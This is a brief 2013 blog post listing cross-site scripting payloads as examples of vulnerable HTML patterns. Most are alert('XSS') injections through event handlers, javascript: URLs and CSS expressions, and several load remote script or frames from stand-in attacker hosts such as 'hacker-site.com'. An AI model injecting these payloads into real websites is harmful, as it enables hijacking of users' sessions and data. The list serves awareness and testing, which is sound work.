Skip navigation

Monthly Archives: March 2013

Cross site scripting – vulnerabilities


This is not about what is “Cross site scripting” but which part of your code has vulnerabilities. 

//
//External script:
<script type="text/javascript" src="http://hacker-site.com/xss.js"></script>
//Embedded script:
<script type="text/javascript"> alert(“XSS”);</script>
//

<!-- -->
<BODY ONLOAD=alert("XSS")>
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG SRC="javascript:alert('XSS');">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IFRAME SRC=”http://hacker-site.com/xss.html”>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
<TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<!-- -->